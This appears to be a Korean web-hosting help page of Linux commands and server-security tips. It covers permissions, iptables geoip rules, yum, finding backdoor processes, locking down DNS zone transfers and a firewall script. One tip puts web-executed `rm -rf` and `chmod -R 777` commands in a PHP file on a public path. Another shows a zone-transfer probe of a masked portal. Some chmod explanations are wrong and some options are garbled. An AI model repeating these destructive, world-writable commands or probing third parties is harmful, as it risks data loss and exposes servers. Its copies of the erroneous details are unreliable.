Media Log

  퍼미션(권한)이란?

Owner

Group

Other

Owner와 Group은 파일소유자자신과 자신이 속한그룹. Other은 제3자, 웹사이트 방문객은 제3자로 nobody로 취급.

r

w

x

r

w

x

r

w

x

r은 파일 읽기(4), w는 파일 쓰기(2), x는 파일 실행(1)

7

5

5

파일소유자는 그것을 읽고 쓰고 실행시킬 수 있지만, 제3자는 읽고 실행만 시킬 수 있다.

7

7

7

제3자도 쓰기 권한이 주어진다.

*.html  *.cgi, *.pl *.txt등의 파일은 업로드시 반드시 ascii로 하고 나머지 그림(*.gif *.jpg)이나 자바 애플릿(*.class), 실행파일(*.exe *.zip *.rar)등은 binary mode로 업로드 할 것.

   리눅스 기본명령어

명령어

사 용 법

login

사용자 인증과정

리눅스 시스템은 기본적으로 multi-user 개념에서 시작하였기 때문에 시스템을 이용하기 위해서는 반드시 로그인을 하여야 합니 다. 로그인은 PC 통신에서도 많이 사용되어져 왔기 때문에 그 개 념  설정에 그다지 어려움이 없을 것입니다. 흔히 말하는 ID를 입력하는 과정입니다. 

passwd

패스워드 변경

리눅스, 특히 인터넷의 세계에서는 일반 컴퓨팅 상황에 비하여 훨씬 해킹에 대한 위험이 높습니다. 패스워드는 완성된 단어 보다는 단어 중간에 숫자나 키보드의 ^, #, ' 등과 같은 쉽게 연상 할 수 없는 기호를 삽입하여 만들어 주는 것이 좋습니다

du

하드사용량 체크(chkdsk)

자신의 하드공간을 알려면
# du
특정 디렉토리의 사용량을 알려면
# du -s diretory_name

ls

파일 리스트 보기(dir)

F : 파일 유형을 나타내는 기호를 파일명 끝에 표시
    (디렉토리는 '/', 실행파일은 '*', 심볼릭 링크는 '@'가 나타남).
l  : 파일에 관한 상세 정보를 나타냅니다.
a : dot 파일(.access 등)을 포함한 모든 파일 표시.
t  : 파일이 생성된 시간별로 표시
C : 도스의 dir/w명령과 같 이 한줄에 여러개의 정보를 표시
R : 도스의 dir/s 명령과 같이 서브디렉토리 내용까지.

(예)
# ls -al  
# ls -aC
# ls -R

cd

디렉토리를 변경

# cd cgi-bin     : 하부 디렉토리인 cgi-bin으로 들어감.
# cd  ..             : 상위디렉토리로 이동
# cd 또는 cd ~  : 어느곳에서든지 자기 홈디렉토리로 바로 이동
# cd /webker     : 현재 작업중인 디렉토리의 하위나 상위 디렉토리가
                          아닌 다른 디렉토리(webker)로 이동하려면 /로
                          시작해서 경로이름을 입력하면 된다.

cp

화일 복사(copy)

# cp index.html index.old
     : index.html 화일을 index.old 란 이름으로 복사.

# cp /home/test/*.*  .
     : test 디렉토리내의 모든 화일을 현 디렉토리로 복사.

mv

파일이름(rename) / 위치(move)변경

# mv index.htm index.html
     : index.htm 화일을 index.html 로 이름 변경

$ mv file  ../main/new_file
     : 파일의 위치변경

mkdir

디렉토리 생성

# mkdir download  : download 디렉토리 생성

rm

화일삭제

# rm test.html : test.html 화일 삭제
# rm -r <디렉토리> : 디렉토리 전체를 삭제
# rm -i a.*
     : a로 시작하는 모든 파일을 일일이 삭제할 것인지 확인하면서 삭제

rmdir

디렉토리 삭제

# rmdir cgi-bin : cgi-bin 디렉토리 삭제

pwd

현재의 디렉토리 경로를 보여주기

pico

리눅스용 에디터

put

ftp 상태에서 화일 업로드

> put  guestbook.tar.gz

get

ftp 상태에서 화일 다운로드

> get  guestbook.tar.gz

mput 또는 mget

여러개의 화일을 올리고 내릴때 (put,get과 사용법동일)

chmod

화일 permission 변경

리눅스에서는 각 화일과 디렉토리에 사용권한을 부여.

예) -rwxr-xr-x   guestbookt.html
rwx  :처음 3개 문자 = 사용자 자신의 사용 권한
r-x  :그다음 3개 문자 = 그룹 사용자의 사용 권한
r-x  :마지막 3개 문자 = 전체 사용자의 사용 권한

읽기(read)---------- 화일 읽기 권한
쓰기(write)---------- 화일 쓰기 권한
실행(execution)---------- 화일 실행 권한
없음(-)---------- 사용권한 없음

명령어 사용법
chmod [변경모드] [파일]

# chmod 666  guestbook.html
     : test.html 화일을 자신에게만 r,w,x 권한을 줌

# chmod 766  guestbook.html
     : 자신은 모든 권한을 그룹사용자와,전체사용자에게는
       읽기와 쓰기 권한만 줌

alias

" doskey alias" 와 비슷하게 이용할 수 있는 쉘 명령어 alias는 말그대로 별명입니다. 사용자는 alias를 이용하여 긴 유 닉스 명령어를 간단하게 줄여서 사용할 수도 있습니다.
이들 앨리어스는 [alias ls 'ls -al'] 같이 사용하시면 되는데, 한 번 지정한 alias를 계속해서 이용하시려면, 자신의 홈디렉토리에 있는
.cshrc(Hidden 속성)을 pico등의 에디터를 이용하여 변경시 키면 됩니다.

cat

파일의 내용을 화면에 출력하거나 파일을 만드는 명령( 도스의 TYPE명령)

# cat filename

more

cat 명령어는 실행을 시키면 한 화면을 넘기는 파일일 경우 그 내용을 모두 볼수가 없다. 하지만 more 명령어를 사용하면 한 화면 단위로 보여줄 수 있어 유용.

# more <옵션>
옵션은 다음과 같습니다.

Space bar : 다음 페이지
Return(enter) key : 다음 줄
v : vi 편집기로 전환
/str : str 문자를 찾음
b : 이전 페이지
q : more 상태를 빠져나감
h : 도움말
= : 현재 line number를 보여줌

who

현재 시스템에 login 하고 있는 사용자의 리스트를 보여줍니다.

# who

whereis

소스, 실행파일, 메뉴얼 등의 위치를 알려줍니다

# whereis perl : perl의 위치를 알려준다

vi,
touch,
cat

새로운 파일을 만드는 방법

# vi newfile :  vi 편집기 상태로 들어감
# touch newfile : 빈 파일만 생성됨
# cat > newfile  : vi 편집기 상태로 들어감, 문서 작성후 Ctrl+D로 빠져나옴

cat,
head,
tail

파일 내용만 보기

# cat filename         : 파일의 내용을 모두 보여줌
# head -n filename : n줄 만큼 위세서부터 보여줌
# tail -n filename     : n줄 만큼 아래에서부터 보여줌


   압축명령어 사용법

압축 명령어

사 용 법

tar .tar, _tar로 된 파일을 묶거나 풀때 사용하는 명령어
(압축파일이 아님)

# tar cvf [파일명(.tar, _tar)] 압축할 파일(또는 디렉토리): 묶을때
# tar xvf [파일명(.tar, _tar)]  :  풀 때
   (cf) cvfp/xvfp 로 하면 퍼미션 부동
compress 확장자 .Z 형태의 압축파일 생성

# compress    [파일명]     : 압축시
# uncompress [파일명]    : 해제시
gzip 확장자 .gz, .z 형태의 압축파일 생성

#  gzip     [파일명]    : 압축시
#  gzip -d [파일명]   : 해제시
기타 .tar.Z
이것은 tar로 묶은 후에 compress를 사용하여 압축한 것으로 uncompress를 사용해서 압축을 푼 다음,
다시 tar를 사용해서 원래의 파일들을 만들어내면 됩니다.
아니면 다음과 같이 한 번에 풀 수도 있다.
# zcat  [파일명].tar.Z  : 해제시

.tar.gz또는 .tar.z
# gzip -cd [파일명]    : 해제시

.tar.gz 또는 .tar.z .tgz
gzip을 사용해서 푼 다음 다시 tar를 사용해서 원래 파일을 만들어 낼 수 있으나,
하지만 다음과 같이 하면 한 번에 처리를 할 수 있다.

# gzip -cd 파일.tar.gz | tar xvf -  또는
# tar xvzf 파일.tar.gz
# tar xvzf 파일.tgz

   리눅스 필수명령어

Linux/Unix 명령어

설 명

MS-DOS 비교

./x

x 프로그램 실행
(현재 디렉토리에 있는 것)

x

/

이전에(↑) / 다음에(↓) 입력했던 명령어

doskey

cd x (또는 cd /x)

디렉토리 X로 가기

cd

cd .. (또는 cd ../ 또는 cd /..)

한 디렉토리 위로 가기

cd..

x 다음 [tab] [tab]

x 로 시작하는 모든 명령어 보기

-

adduser

시스템에 사용자 추가

/

ls (또는 dir)

디렉토리 내부 보여주기

dir

cat

터미널 상의 텍스트 파일 보기

type

mv x y

파일 x를 파일 y로 바꾸거나 옮기기

move

cp x y

파일 x를 파일 y로 복사하기

copy

rm x

파일 지우기

del

mkdir x

디렉토리 만들기

md

rmdir x

디렉토리 지우기

rd

rm -r x

디렉토리 x를 지우고 하위도 다 지우기

deltree

rm p

패키지 지우기

-

df (또는 df x)

장치 x의 남은 공간 보여주기

chkdsk ?

top

메모리 상태 보여주기(q는 종료)

mem

man x

명령어 x에 관한 매뉴얼 페이지 얻기

/

less x

 텍스트 파일 x 보기
(리눅스에서는 더 많은 필터 적용 가능)

type x | more

echo

어떤 것을  echo 화면에 인쇄한다.

echo

mc

UNIX를 위한 노턴 커맨더

nc

mount

장치 연결(예: CD-ROM, 연결을 해제하려면 umount)

-

halt

시스템 종료

-

reboot ([ctrl] + [alt] +[del])

시스템  다시 시작하기

[ctrl] + [del] + [del]

    고급명령어

 고급 명령어

 

chmod <권한> <파일>

파일 권한(permissions) 변경

ls -l x

파일 x의 자세한 상황을 보여줌

ln -s x y

 x에서 y로 심볼릭 링크를 만들어 줌

find x -name y -print

디렉토리 x안에서 파일 y를 찾아서 화면에 그 결과를 보여줌

ps

지금 작동중인 모든 프로세스들을 보여줌

kill x

 프로세스 x를 종료 (x는 ps 명령으로 알 게 된 PID)

[alt] + F1 - F7

 터미널 1-7까지 바꾸기 (텍스트 터미널에서; F7은 X-윈도우(시작될때))

lilo

 부트 디스크를 만듦

 

용어


symlink

다른 파일이나 디렉토리로 심볼릭 링크. 윈도유98의 바로가기 같은 것

shell script

여러 명령어들을 차례로 수행하게 한 것. MS-DOS의 배치 파일 같은 것

     팁!!

 - 웹에서 생성한 노바디파일 삭제 하는방법..

기본적으로 웹서버는 nobody 권한으로 동작이 되게 됩니다.
고객님께서 FTP 로 접속하여 전송한 파일이 아니라 웹상에서 사용자들이 파일을 업로드 한 경우나 웹상에서 생성된 파일의 경우 삭제가 되지 않는 경우가 있을 수 있습니다.

웹서버의 동작 권한은 nobody 이고 웹상에서 생성된 파일이므로 해당 파일이 nobody 소유권으로 시스템에 생성이 되게 됩니다.

아래와 같이 웹상에서 실행시키면 됩니다.

1. 메모장을 열어 아래 소스를 붙여넣기 하신후..

<?

//폴더/파일 삭제시

$cmd = `rm -rf 노버디로된파일혹은폴더명`;

echo "$cmd";

echo "폴더가 삭제 되었습니다.";

?>

-- 위에까지..
-- **위에서 수정할 사항은 "노버디로된파일혹은폴더명"을 삭제하시고자 하는 파일명으로 바꿔주세요..

2. 파일 -> 다른이름으로저장 -> 아래 탭에서 파일형식을 "모든파일"로 선택후

   -> "원하는파일명.php" 로 저장 (ex: del.php)

3. ftp를 통해 고객계정에 파일업로드를 하시고 웹에서 파일을 불러주시면 됩니다

   ex: html폴더안에/temp 안에 삭제하고자하는 파일이 있을경우 / html폴더/temp안에 del.php를 업로드하고..

       브라우저에서 http://고객도메인/temp/del.php 를 하면 됩니다

4. 실행하시면 삭제되고 nobody 권한의 폴더만 남습니다.(폴더안의화일들만 지워짐)

   그후 ftp 접속후 폴더를 삭제하시면 됩니다.

ex)

<?

퍼미션 변경시

$cmd = `chmod -R 777 노버디로된파일혹은폴더명`;

echo "$cmd";

echo "퍼미션 변경되었습니다.";

?>

국가별 접속 차단 방법


일반적으로 파이어월의 기본 정책은 허용할 것을 제외한 나머지는 모두 차단하는 것이다. 그런데 필요에 따라 국가별로 접속을 제한해야 할 필요가 있다. 이를테면 특정 국가에서 비정상적인 접속 요청이 들어온다거나, 국내에서만 telnet이나 ftp 접속을 허용해야 할 때는 이같은 국가별 접속 차단을 사용해야 한다. 하지만 국가별 IP 현황을 조사해 모든 IP 대역에 대해 일일이 접근 설정을 한다는 것은 불가능한 일이다. 하지만 리눅스 파이어월인 iptables를 이용하면 이같은 기능을 쉽게 구현할 수 있다.


먼저 ‘people.netfilter.org/peejix/geoip/database/’에서 geoipdb.bin과 geoipdb.idx 파일을 다운로드한다. 그리고 iptables가 설치된 파이어월에 ‘/var/geoip’ 디렉토리를 생성하고, 이 디렉토리에 두 파일을 옮긴다. 여기에서 geoipdb.bin은 국가별 IP 대역에 대한 바이너리 포맷의 데이터이고, geoipdb.idx는 인덱스 파일이다.


geoip 라이브러리가 ‘/var/geoip’ 디렉토리를 참조하기 때문에 디렉토리명은 반드시 정해진 명칭을 사용해야한다. 이제 iptables에서 geoip를 사용하기 위해 커널을 패치할 차례다.
먼저 고급 기능을 이용할 수 있도록 커널을 패치하는 p-o-m을 다운로드하면 되는데 ‘ftp.netfilter.org/pub/patch-o-matic-ng/snapshot/’에서 최신 버전을 다운로드받을 수 있다.
이제 p-o-m을 압축해제하고, 다음과 같이 실행한다.


# tar xfz patch-o-matic-ng-XXXXXX.tar.gz
# cd patch-o-matic-ng
# IPTABLES_DIR=/usr/srt/iptables KERNEL_DIR=/usr/srt/linux ./runme geoip


다음은 kernel 메뉴에서 geoip를 사용하도록 실행할 차례다. ‘make menuconfig’ 실행 화면에서 다음과 같이 선택해 들어간 상태에서 최종적으로 ‘[*] geoip match support’를 선택하면 된다.


Device Drivers
-> Networking support
-> Networking support
-> Networking options
-> Network packet filtering (replaces ipchains)
-> IP: Netfilter Configuration
-> [*] geoip match support


이후 iptables 역시 ‘ftp.netfilter.org/pub/iptables/’에서 최신 버전을 다운로드받아 설치한다.
커널 컴파일을 완료한 후 새로운 버전의 커널로 부팅하면 이제 iptables의 geoip를 사용할 준비가 된 것이다. 사용할 수 있는 옵션은 --srt-cc와 --dst-cc가 있는데, 각각 뒤에 국가 코드명을 넣으면 된다. 예를 들어 확인해 보자.


- 일본과 미국에서의 웹 접속을 차단하고 다른 곳에서의 접속은 허용할 때

iptables -A INPUT -p tcp --dport 80 -m geoip --srt-cc JP,US -j DROP
iptables -A INPUT -p tcp --dport 80 -j ACCEPT

- 한국에서의 ftp만 허용하고 나머지 국가에서의 접속은 차단하고자 할 때

iptables -A INPUT -p tcp --dport 21 -m geoip --srt-cc KR -j ACCEPT
iptables -A INPUT -p tcp --dport 21 -j DROP

또는 iptables -A INPUT -p tcp --dport 21 -m geoip ! --srt-cc KR -j DROP


실제로 운영중인 서버에 설정한 결과 서버가 느려지거나 부하가 늘어나는 일은 없었다. 이를 적절히 활용한다면 다양한 응용이 가능할 것이다.


리눅스에서도 윈도우처럼 자동 업데이트하기


리눅스에 비해 윈도우의 장점중 하나는 업데이트가 쉽고 편리하다는 것이다. 특히 최근처럼 보안 문제가 이슈화되는 시기에 이는 더욱 민감한 문제가 아닐 수 없다.


더구나 윈도우의 경우 자동으로 현재의 환경을 체크해 업데이트할 항목을 바로 보여주지만, 리눅스 서버를 운영하다보면 어떤 패키지를 업데이트해야 할지도 모르겠고, 일일이 찾아서 업데이트하는 것 역시 여간 불편한 일이 아닐 수 없다.


특히 rpm 등 패키지 형태로 많이 사용하는 리눅스의 경우 업데이트 때문에 의존성 등 다른 문제가 발생하지 않을까 하는 막연한 두려움이 있는 것도 사실이다. 그러나 그 중에서도 가장 큰 문제는 리눅스 서버가 여러대가 있을 경우, 버전이 각기 다른 서버에 로그인해 버전 확인 후 일일이 패치하는 것은 시간과 인력이 많이 소요되는 일이라는 점이다.


그런데 이제 이 문제를 시원하게 해결해 줄 수 있는 솔루션이 나왔고 점차로 사용자 층도 넓어지고 있다.
이는 yum이라는 것으로, ‘Yellow dog Updater, Modified’의 약자로 미국의 듀크대학에서 파이썬(python) 언어로 개발되고 있다. yum에 대한 자세한 내용은 홈페이지(linux.duke.edu/projects/yum/)를 참고하기 바란다.


[그림1] yum 사이트

yum 사이트에서 제공되는 yum rpm 또는 소스 파일을 설치한 후 간단히 yum을 실행하면 현재 시스템에 설치돼 있는 rpm 버전 정보와 최신 업데이트 버전 정보를 비교한다. 좀 더 정확히 얘기하자면 rpm의 헤더 정보를 비교해 업데이트 여부를 확인하고 이에 따라 업데이트를 시작한다.
yum의 주 설정 파일인 /etc/yum.conf 파일에는 업데이트하는 서버의 목록이 지정돼 있는데, 여러 곳에서 업데이트 서버를 제공하고 있으므로 신뢰할 수 있으며, 빠른 서버를 직접 지정해 사용할 수 있다. 만약 수십 대 이상의 많은 서버를 운영하는 상황에서 해외 서버로부터 직접 업데이트하려면 속도 저하 등이 발생할 수 있으므로 자체적으로 yum 서버를 구축해 운영할 수도 있다. 필자의 회사에서도 yum 업데이트 서버를 한 대 운영하고 있어, 초기 리눅스 설치 후에는 반드시 yum을 실행해 자동 패치를 하고 있는데, CD로 설치 후 약 5분 정도만 실행하면 패치작업이 완료될 정도로 빠르다.
rpm 등으로 yum을 설치한 후 아무런 옵션 없이 yum을 실행하면 다음과 같이 현재 사용할 수 있는 옵션을 보여주는데, 일반적으로 update와 install을 많이 사용하므로 이 옵션 정도만 알고 있으면 된다.


# yum
Usage: yum [options]

Options:
-c [config file] - specify the config file to use
-e [error level] - set the error logging level
-d [debug level] - set the debugging level
-y answer yes to all questions
-t be tolerant about errors in package commands
-R [time in minutes] - set the max amount of time to randomly run in.
-C run from cache only - do not update the cache
--installroot=[path] - set the install root (default '/')
--version - output the version of yum
--exclude=some_pkg_name - packagename to exclude - you can use this more than once
--download-only - only download packages - do not run the transaction
-h, --help this screen


이 중에서 가장 많이 사용하는 것은 바로 ‘yum -y update’인데, 이를 실행하면 현재 시스템에 설치돼 있는 rpm의 헤더 정보와 업데이트 서버에 있는 헤더 정보를 비교해 최신 rpm으로 자동 패치를 시작한다. 여기에서 -y는 일일이 설치 여부를 묻지 않고 업데이트한다는 의미로 만약 -y를 지정하지 않으면 매번 업데이트할 패키지마다 업데이트할 것인지 yes or no로 묻게 된다. 따라서 ‘yum -y update’를 cron에 걸어두면 매 일정 시각마다 자동으로 업데이트하므로 일일이 패치를 하지 않아도 언제나 시스템을 최신 패치된 상태로 유지할 수 있다.
rpm 업그레이드나 설치시 무엇보다도 문제될 수 있는 것이 바로 의존성(dependency) 문제다. yum은 이 문제를 자동으로 해결하므로 의존성 관련 문제는 걱정하지 않아도 된다. 다음은 yum을 실행한 결과인데, 현재 모든 패키지가 업데이트돼 있다는 것을 알 수 있다.


# yum -y update
Gathering package information from servers
Server: Red Hat Linux 3 base
Server: Red Hat Linux 3 updates
Finding updated packages
Downloading needed headers
No Packages Available for Update
No actions to take


다음에서는 lsof라는 rpm이 설치돼 있지 않을 때, install을 실행해 자동으로 설치하는 예를 보여주고 있다.


# yum install lsof
Gathering package information from servers
Server: Red Hat Linux 3 base
Server: Red Hat Linux 3 updates
Finding updated packages
Downloading needed headers
Resolving dependencies
Dependencies resolved
I will do the following:
[install: lsof.i386]
Is this ok [y/N]: y
Calculating available disk space - this could take a bit
lsof 100 % done
Installed: lsof.i386
Transaction(s) Complete


특정 포트를 점유하는 프로그램 확인


외부에서 포트스캔 등을 통해 확인해 보면, http(80)나 ftp(21) 외에 본인도 모르는 포트가 사용중인 경우가 있다. 이를테면 tcp 5000번 포트가 열려있는 것을 확인하고 텔넷으로 접속할 경우 접속까지도 가능한 경우도 있다. 이같은 경우 이 포트를 점유하고 있는 프로세스가 무엇인지 알아볼 필요가 있다.

윈도우 시스템의 경우 전통적으로 fport.exe라는 프로그램을 이용하지만, 커맨드 방식이고 몇 가지 불편한 점이 있어 최근에는 GUI 방식이면서 프로세스 삭제 등도 제공되는 cports라는 프로그램이 자주 이용되고 있다. 이 프로그램은 'www.nirsoft.net/utils/cports.html'에서 자유롭게 다운받을 수 있으며, [그림 2]와 같이 현재의 프로세스와 연결상태, 특정 포트를 사용하는 프로세스 정보 등을 직관적으로 알 수 있게 보여준다. 또한 특정 프로세스의 상태도 보여주고, 오른쪽 마우스를 클릭하면 직접 프로세스를 죽일 수도 있다.


[그림2] cports 프로그램

반면 리눅스의 경우 다소 번거로운 것이 사실인데, fuser나 netstat 명령을 이용하면 확인할 수 있다. 이 명령어들은 대부분의 시스템에서 기본적으로 이용할 수 있는데, 혹 명령어가 실행되지 않으면 해당 패키지를 찾아 설치하면 된다.

- fuser
fuser는 특정한 파일이나 파일 시스템을 사용하고 있는 프로세스의 pid를 보여주는 명령어로 ‘fuser ?n tcp 10101’과 같이 실행하면 10101번 포트를 사용 중인 프로세스 id를 보여준다. 물론 udp 포트일 경우에는 ‘fuser ?n udp 53’과 같이 사용하면 된다.
이때 프로세스 id가 570번이라는 것을 확인했다면 pid 570번을 사용하는 프로세스를 확인해야 하는데, 이는 ‘ps aux’로 확인하거나 ‘ls ?la /proc/570/’의 결과 중 ‘exe->’가 가리키는 부분을 확인하면 된다. ‘exe->’가 가리키는 경로는 현재 실행 파일을 의미하며, ‘cmd->’는 실행 파일이 참조하는 파일이나 디렉토리의 경로를 알려준다.
만약 ‘exe -> /home/user1/hacking/hacking*’이라고 표시돼 있으면, 이 경로에 있는 파일이 10101번 포트를 바인딩하고 있는 프로세스라는 것을 확인할 수 있다.
그런데, 가끔 백도어 포트 등을 점검하다 보면 ‘ls -la /proc/pid’와 같이 확인했을 때 ‘exe -> /home/user1/hacking/hacking (deleted)’와 같이 보이는 경우가 있다. 실제로 ‘/home/user1/hacking/’ 디렉토리에 가서 확인해 보면 hacking이라는 파일이 없는데, 프로세스에는 떠 있게 된다. 이는 공격자가 hacking이라는 백도어 파일을 실행해 커널 메모리에 올린 후에는 해당 파일을 삭제해, 백도어로서 작동은 하지만(이미 커널 메모리에 올라가 있으므로) 흔적은 남기지 않기 위한 방법으로 많이 사용되는 방법이다. 이같은 경우 파일은 삭제됐어도 메모리에는 남아있기 때문에 ‘cp /proc/pid/exe /root/test’라고 실행하면 삭제된 원본 파일을 ‘/root/test’라는 파일로 복구할 수 있다.

- netstat
간단히 사용할 수 있는 다른 명령어로서 다음과 같이 터미널 상에서 netstat을 실행해 보는 방법도 있다. netstat는 많은 옵션을 제공하고 있는데, 현재 시스템에서 특정 포트를 점유해 소켓 데몬 형태로 대기 중인 서비스에 대한 사항은 listen의 의미인 -l 옵션을 주면된다. 더불어서 -p 옵션을 주면 해당 포트를 사용 중인 프로그램 이름도 확인할 수 있다.


[그림3] 리눅스에서..

[그림3]의 경우를 보면 좌측에 현재 열려있는 포트를 알 수 있으며, 우측에 있는 정보를 보면 해당 포트가 어떤 PID(Process ID)며 어떤 프로그램인지 확인할 수 있다. 만약 포트 2265/tcp을 점유하고 있는 프로세스 정보를 알고자 한다면 pid가 587이고 프로그램 이름이 osirisd인 것을 알 수 있는데, 좀 더 상세히 알고자 한다면 앞에서 살펴본 바와 같이 ‘ls -la /proc/pid’를 실행하면 된다.
그리고, 만약 특정 프로세스가 정상적인 것이 아니라면 ‘kill ?9 570’(570은 pid) 또는 ‘killall ?9 ?ev hacking’(hacking은 ps auxc 실행 시 보이는 프로세스 이름)으로 해당 프로세스를 강제로 죽이면 포트도 닫힌다.

DNS Zone 전송 차단하기

DNS zone 전송(transfer)은 마스터(master)와 슬레이브(slave) 간에 zone 파일을 동기화하기 위한 용도로 사용되는 기술이다. 그런데, 이 zone 전송 보안 설정을 제대로 하지 않아 심각한 보안문제를 유발하는 경우가 많다. 이로 인해서 직접 시스템이 다운되거나 장애가 유발되는 것은 아니지만, 문제는 중요한 정보를 외부에 유출할 가능성이 있다는 것이다.
특히 대규모 사이트 일수록 그 피해가 큰데, 앞에서 언급한 것처럼 zone 전송은 마스터와 슬레이브 간의 zone 파일 전송이므로 마스터와 슬레이브 사이에만 허용돼야 하지만, 실제로는 접근 통제가 거의 이뤄지지 않고 있다. 국내에서도 손꼽히는 한 대형 포털의 예를 들어 이의 문제점을 살펴보도록 하자.

① 먼저 whois 질의를 통해 해당 도메인의 DNS 정보를 확인한다.

whois xxxx.com
NS1.xxxx.COM 211.xx.xx.xx
NS2.xxxx.COM 211.xx.xx.xx
(정보를 일부 수정하였음)

② 해당 DNS 서버로 zone 전송을 시도해 본다. Zone 전송은 nslookup이나 host, dig 등으로 모두 확인할 수 있다. 여기서는 dig를 사용해 보겠다.

# dig @NS1.xxxx.COM xxxx.com axfr

; <<>> DiG 9.2.1 <<>> @NS1.xxxx.COM xxxx.com axfr
;; global options: printcmd
; Transfer failed.

참고로 이 명령어는 NS1.xxxx.COM DNS에 xxxx.com이라는 도메인에 대해 zone 전송을 한다는 의미다. 마스터 DNS인 NS1.xxxx.COM에 질의하면 이같이 전송이 실패했다는 에러 메시지(Transfer failed)가 표시된다. 이는 해당 IP에서의 zone 전송이 거부됐다는 메시지로 NS1.xxxx.COM에서 정상적으로 차단하고 있다는 것을 알 수 있다. 이번에는 슬레이브 DNS인 NS2.xxxx.COM에 질의를 해 봤다.


# dig @NS2.xxxx.COM xxxx.com axfr

 xxxx.com. 1800 IN SOA ns1.xxxx.com. hostmaster.ns1.xxxx.com.
xxxx.com. 1800 IN MX 5 mail4.xxxx.com.
xxxx.com. 1800 IN MX 5 mail5.xxxx.com.
xxxx.com. 1800 IN MX 5 mail5.xxxx.com.
xxxx.com. 1800 IN MX 5 mail5.xxxx.com.
xxxx.com. 1800 IN A 211.xx.xx.xx
xxxx.com. 1800 IN A 211.xx.xx.xx
xxxx.com. 1800 IN NS ns1.xxxx.com. 
xxxx.com. 1800 IN NS ns2.xxxx.com. 
09.xxxx.com. 3000 IN A 211.115.xx.xx 
100.xxxx.com. 1800 IN CNAME dic.xxxx.com.
account.xxxx.com. 1800 IN A 211.xx.xx.xxx
admin.xxxx.com. 1800 IN A 211.xx.xx.xx
......

확인 결과 이 도메인의 경우 800여 줄이 넘는 zone 정보가 확인됐고, 그 중에는 dev.xxx와 같이 개발 서버로 사용되는 것으로 추측되는 서버의 목록도 눈에 띄었다. 이는 대단한 해킹 기법도 아니고 정상적인 DNS zone 전송을 자체에서 제공되는 명령어로 실행해 본 것에 불과함에도, 이처럼 많은 정보를 제공하고 있는 것을 알 수 있으며, 이로 인해 불필요한 정보가 유출될 수 있다. 실제 많은 기업에서 외부에 노출돼 보이는 웹 서버나 메일 서버뿐 아니라 내부의 개발 서버, 인트라넷 등도 ‘xxxx.도메인명’ 등으로 사용하고 있는데, zone 전송을 시도해 보면 이 정보가 그대로 보이기 때문에 공격자 입장에서 굳이 해킹을 통해 알 필요 없이 내부의 시스템/네트워크 구조를 쉽게 파악할 수 있다.
또한 사용하고 있는 IP 대역 등도 노출돼 IDC 등에서 사용하는 IP 대역뿐만 아니라 사내의 IP 대역이나 파이어월 등 보안 장비의 IP까지도 노출될 수 있다.
그럼 zone 전송의 정보유출에 대해 어떻게 대응해야 하는지 알아보자. 너무나 당연한 이야기이지만 원칙에 충실하면 된다. bind DNS를 사용할 경우에는 ‘/etc/named.conf’에 다음과 같이 설정하면 된다.

- 마스터 서버에서의 설정
options {
allow-transfer {192.168.1.3; };
};

여기에서 192.168.1.3은 슬레이브 DNS의 IP이며 당연히 슬레이브에서의 zone 전송만 허용한다는 의미다.

- 슬레이브 서버에서의 설정
options {
allow-transfer {none; };
};

당연히 슬레이브에서는 zone 전송을 제공하지 않으므로 허용할 필요가 없다.
이같이 설정한 후 DNS를 재가동하면 외부에서의 불법적인 zone 전송은 거부한다.

#!/bin/sh

#iptables Path
iptables=/sbin/iptables

# SERVER IP 받아오기.
HOST_IP="`/sbin/ifconfig eth0 | grep 'inet addr' | awk '{print $2}' | sed -e 's/.*://'`"
NETMASK="`/sbin/ifconfig eth0 | grep 'inet addr' | awk '{print $4}' | cut -d : -f 2`"

# rule delete
# 모두 지우고 다시 재설정합니다.
$iptables -F

######### 비정상적 패킷은 드롭시킨다. 로그에 남긴다. ###############
iptables -A FORWARD -m state --state INVALID -j DROP
iptables -A FORWARD -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP
iptables -A FORWARD -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP
iptables -A FORWARD -p tcp --tcp-flags SYN,RST SYN,RST -j DROP

#iptables -A FORWARD -p tcp --tcp-flags ALL FIN,URG,PSH -m limit --limit 5/minute -j LOG --log-level notice --log-prefix "NMAP-XMAS:"
#iptables -A FORWARD -p tcp --tcp-flags SYN,FIN SYN,FIN -m limit --limit 5/minute -j LOG --log-level notice --log-prefix "SYN/FIN:"
#iptables -A FORWARD -p tcp --tcp-flags SYN,RST SYN,RST -m limit --limit 5/minute -j LOG --log-level notice --log-prefix "SYN/RST:"


#Drop RST/ACKs to limit OS detection through pinging
iptables -A FORWARD -p tcp --tcp-flags RST RST,ACK -j DROP
#iptables -A FORWARD -p tcp --tcp-flags RST RST,ACK -m limit --limit 5/minute -j LOG --log-level notice --log-prefix "RST/ACK:"

# INPUT Rules 설정
$iptables -Z INPUT
$iptables -P INPUT ACCEPT

# local 과 자기자신의 IP 는 허용.
$iptables -A INPUT -i lo -j ACCEPT
$iptables -A INPUT -s 도메인 -j ACCEPT

#  알 수 없는 패킷 즉,  NETWORK 상태가 INVALID 인 패킷들을 막아 버린다.
#  정상적인 접근에서는 나올 수 없는 상태.
$iptables -A INPUT -m state --state INVALID -j DROP

# ssh service
# ssh 접속 지역 지정.
$iptables -A INPUT -s 아이피.0.0/16 -p tcp --dport 22 -j ACCEPT
$iptables -A INPUT -s 아이피.0/24 -p tcp --dport 22 -j ACCEPT

# etc service
# 25(메일), 80(웹)은 모든 곳에서 ACCEPT 입니다. 반드시...
$iptables -A INPUT -p tcp --dport 25 -m state --state NEW,ESTABLISHED -j ACCEPT
$iptables -A INPUT -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT

# AUTH 는 서비스를 하지 않더라도 열어야 합니다. 클라이언트에서 요청합니다.
$iptables -A INPUT -p tcp --dport 113 -m state --state NEW,ESTABLISHED -j ACCEPT

# mysql
# 기본적으로 mysql 은 local에서만 접속하면 됩니다. DB 공유를 할 경우 대역 지정.
$iptables -A INPUT -p tcp --dport 3306 -m state --state NEW,ESTABLISHED -j ACCEPT

# mysql DB공유 대역설정
$iptables -A INPUT -s 아이피.0/24 -p tcp --dport 3306 -j ACCEPT

# ICMP service
# ping은 별 의미가 없지만...
$iptables -A INPUT -s 아이피.0.0/16 -p icmp --icmp-type echo-request -j ACCEPT

# 서버로 들어오는 SYN packet 을 모두 거절한다.
$iptables -A INPUT -p tcp --syn -j REJECT

# Drop All packet
# 원활한 서비스를 위해 65535 포트까지만 DROP 을 합니다. 물론 다 막아도 상관 없습니다.
$iptables -A INPUT -p tcp --dport 0:65535 -j DROP
